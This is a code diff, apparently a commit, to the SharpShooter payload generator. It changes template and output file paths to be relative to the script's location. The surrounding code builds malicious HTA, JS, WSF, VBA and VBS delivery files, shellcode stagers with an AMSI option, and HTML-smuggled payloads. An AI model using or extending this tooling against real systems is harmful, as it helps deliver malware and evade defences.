1717import string
1818import sys
1919import argparse
20+ import os
2021import traceback
2122from jsmin import jsmin
2223from modules import *
@@ -204,6 +205,7 @@ def run(self, args):
204205
205206 template_body = b""
206207 template_base = "templates/sharpshooter."
208+ source_path = os .path .dirname (os .path .realpath (__file__ )) + "/"
207209 shellcode_delivery = False
208210 shellcode_gzip = ""
209211 payload_type = 0
@@ -261,6 +263,7 @@ def run(self, args):
261263 template_base = "templates/sharpshooterv4."
262264
263265 #print(template_base)
266+ template_base = source_path + template_base
264267
265268 if (args .payload == "hta" ):
266269 payload_type = 1
@@ -427,7 +430,7 @@ def run(self, args):
427430 shellcode_payload = shellcode_payload .lower ()
428431 if (shellcode_payload == "y" or shellcode_payload == "yes" ):
429432 shellcode_delivery = True
430- shellcode_template = self .read_file ("templates/shellcode.cs" )
433+ shellcode_template = self .read_file (source_path + "templates/shellcode.cs" )
431434
432435 shellcode = []
433436
@@ -523,30 +526,30 @@ def run(self, args):
523526 awl_payload_simple = ""
524527
525528 if ("js" in file_type or args .comtechnique ):
526- harness = self .read_file ("templates/harness.js" ).decode (encoding = 'UTF-8' )
529+ harness = self .read_file (source_path + "templates/harness.js" ).decode (encoding = 'UTF-8' )
527530 payload = harness .replace ("%B64PAYLOAD%" , payload_encoded .decode (encoding = 'utf-8' ))
528531 payload = payload .replace ("%KEY%" , "'%s'" % (key ))
529532 payload_minified = jsmin (payload )
530533 awl_payload_simple = template_code
531534 elif ("wsf" in file_type ):
532- harness = self .read_file ("templates/harness.wsf" ).decode (encoding = 'utf-8' )
535+ harness = self .read_file (source_path + "templates/harness.wsf" ).decode (encoding = 'utf-8' )
533536 payload = harness .replace ("%B64PAYLOAD%" , payload_encoded .decode (encoding = 'utf-8' ))
534537 payload = payload .replace ("%KEY%" , "'%s'" % (key ))
535538 payload_minified = jsmin (payload )
536539 elif ("hta" in file_type ):
537- harness = self .read_file ("templates/harness.hta" ).decode (encoding = 'utf-8' )
540+ harness = self .read_file (source_path + "templates/harness.hta" ).decode (encoding = 'utf-8' )
538541 payload = harness .replace ("%B64PAYLOAD%" , payload_encoded .decode (encoding = 'utf-8' ))
539542 payload = payload .replace ("%KEY%" , "'%s'" % (key ))
540543 payload_minified = jsmin (payload )
541544 elif ("vba" in file_type ):
542- harness = self .read_file ("templates/harness.vba" ).decode (encoding = 'utf-8' )
545+ harness = self .read_file (source_path + "templates/harness.vba" ).decode (encoding = 'utf-8' )
543546 payload = harness .replace ("%B64PAYLOAD%" , payload_encoded .decode (encoding = 'utf-8' ))
544547 payload = payload .replace ("%KEY%" , "\" %s\" " % (key ))
545548 payload_minified = jsmin (payload )
546549 elif ("slk" in file_type ):
547550 pass
548551 else :
549- harness = self .read_file ("templates/harness.vbs" ).decode (encoding = 'utf-8' )
552+ harness = self .read_file (source_path + "templates/harness.vbs" ).decode (encoding = 'utf-8' )
550553 payload = harness .replace ("%B64PAYLOAD%" , payload_encoded .decode (encoding = 'utf-8' ))
551554 payload = payload .replace ("%KEY%" , "\" %s\" " % (key ))
552555
@@ -555,7 +558,7 @@ def run(self, args):
555558 elif (payload_type == 5 ):
556559 file_type = "vbe"
557560
558- f = open ("output/" + outputfile_payload , 'w' )
561+ f = open (outputfile_payload , 'w' )
559562 #print(payload)
560563 if (payload_type == 8 ):
561564 f .write (macro_stager )
@@ -565,9 +568,9 @@ def run(self, args):
565568
566569 if (args .comtechnique ):
567570 if not args .awltechnique or args .awltechnique == "wmic" :
568- payload_file = "output/" + outputfile + ".xsl"
571+ payload_file = outputfile + ".xsl"
569572 else :
570- payload_file = "output/" + outputfile + ".sct"
573+ payload_file = outputfile + ".sct"
571574
572575 #if("js" in file_type or "hta" in file_type or "wsf" in file_type):
573576 awl_payload = awl .create_com_stager (args .comtechnique , file_type , args .awlurl , payload_file , awl_payload_simple , args .amsi )
@@ -580,22 +583,22 @@ def run(self, args):
580583 f .write (payload )
581584 f .close ()
582585
583- print ("\033 [1;34m[*]\033 [0;0m Written delivery payload to output/ %s" % outputfile_payload )
586+ print ("\033 [1;34m[*]\033 [0;0m Written delivery payload to %s" % outputfile_payload )
584587 if shellcode_delivery :
585588 outputfile_shellcode = outputfile + ".payload"
586- with open ("output/" + outputfile_shellcode , 'w' ) as f :
589+ with open (outputfile_shellcode , 'w' ) as f :
587590 gzip_encoded = base64 .b64encode (shellcode_gzip .getvalue ())
588591 f .write (gzip_encoded .decode (encoding = 'utf-8' ))
589592 f .close ()
590- print ("\033 [1;34m[*]\033 [0;0m Written shellcode payload to output/ %s" % outputfile_shellcode )
593+ print ("\033 [1;34m[*]\033 [0;0m Written shellcode payload to %s" % outputfile_shellcode )
591594
592595 if "vba" not in file_type :
593596 if (args .smuggle ):
594597 key = self .rand_key (10 )
595598 template = ""
596599 template = args .template
597- embedinhtml .run_embedInHtml (key , "./output/" + outputfile_payload , "./output/" + outputfile + ".html" , template )
600+ embedinhtml .run_embedInHtml (key , outputfile_payload , outputfile + ".html" , template )
598601if __name__ == "__main__" :
599602 ss = SharpShooter ()
600603 args = ss .validate_args ()
601- ss .run (args )
604+ ss .run (args )
0 commit comments